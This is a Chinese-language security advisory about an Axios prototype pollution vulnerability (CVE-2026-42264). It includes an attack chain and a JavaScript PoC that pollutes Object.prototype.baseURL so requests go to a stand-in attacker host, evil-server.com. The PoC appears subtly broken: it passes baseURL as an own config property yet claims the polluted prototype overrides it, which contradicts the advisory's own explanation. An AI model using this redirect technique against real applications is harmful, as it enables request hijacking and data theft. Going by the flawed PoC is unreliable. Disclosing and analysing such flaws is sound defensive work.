IPBUF安全漏洞报告
English
CVE-2026-42264 CVSS 7.4 高危

CVE-2026-42264 Axios 原型污染漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42264
漏洞类型
原型污染
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

原型污染AxiosJavaScriptSSRFHTTP客户端

漏洞概述

Axios是一款流行的基于Promise的HTTP客户端。在1.0.0至1.15.2之前的版本中,其HTTP适配器在读取auth、baseURL等配置属性时,未使用hasOwnProperty进行保护,导致存在原型污染漏洞。当同一进程中的其他依赖污染了Object.prototype时,Axios会在每次出站HTTP请求中静默获取这些被污染的值,可能影响请求的完整性和机密性。该问题已在1.15.2版本中修复。

技术细节

该漏洞源于Axios在HTTP适配器中处理配置对象时的设计缺陷。具体而言,auth、baseURL、socketPath、beforeRedirect和insecureHTTPParser这五个属性是通过直接属性访问的方式读取的,缺乏对`hasOwnProperty`的校验。在JavaScript中,如果攻击者能够通过应用程序中的其他库或代码污染`Object.prototype`,向其中注入恶意属性(如修改baseURL指向恶意服务器),Axios在后续请求中会遍历原型链并读取这些被污染的属性值作为有效配置。这种“gadget”机制使得原型污染转化为实际的安全影响,如请求重定向或数据劫持。

攻击链分析

STEP 1
步骤1:原型污染
攻击者利用应用中的其他漏洞或恶意依赖向Object.prototype注入恶意属性(如baseURL或auth)。
STEP 2
步骤2:触发请求
应用程序使用受影响的Axios版本发起HTTP请求。
STEP 3
步骤3:属性读取
Axios在处理配置时,由于缺乏hasOwnProperty检查,通过原型链读取到了被污染的属性值。
STEP 4
步骤4:利用生效
请求被发送至攻击者指定的恶意服务器,或携带了被篡改的认证信息,导致数据泄露或完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Simulate prototype pollution by another dependency Object.prototype.baseURL = "http://evil-server.com"; // Vulnerable Axios usage (version < 1.15.2) const axios = require('axios'); // Intended to request https://api.example.com/user axios.get('/user', { baseURL: 'https://api.example.com' }).then(response => { // Actually requests http://evil-server.com/user // because Object.prototype.baseURL overrides the config console.log('Data:', response.data); }).catch(err => { console.error(err); }); // Cleanup for demonstration delete Object.prototype.baseURL;

影响范围

Axios >= 1.0.0, < 1.15.2

防御指南

临时缓解措施
如果无法立即升级,可以在应用的入口文件(如index.js)顶部添加`Object.freeze(Object.prototype)`代码,以此锁定对象原型,防止其被篡改。同时,建议对所有第三方依赖进行安全扫描,识别并修复可能导致原型污染的其他漏洞。

参考链接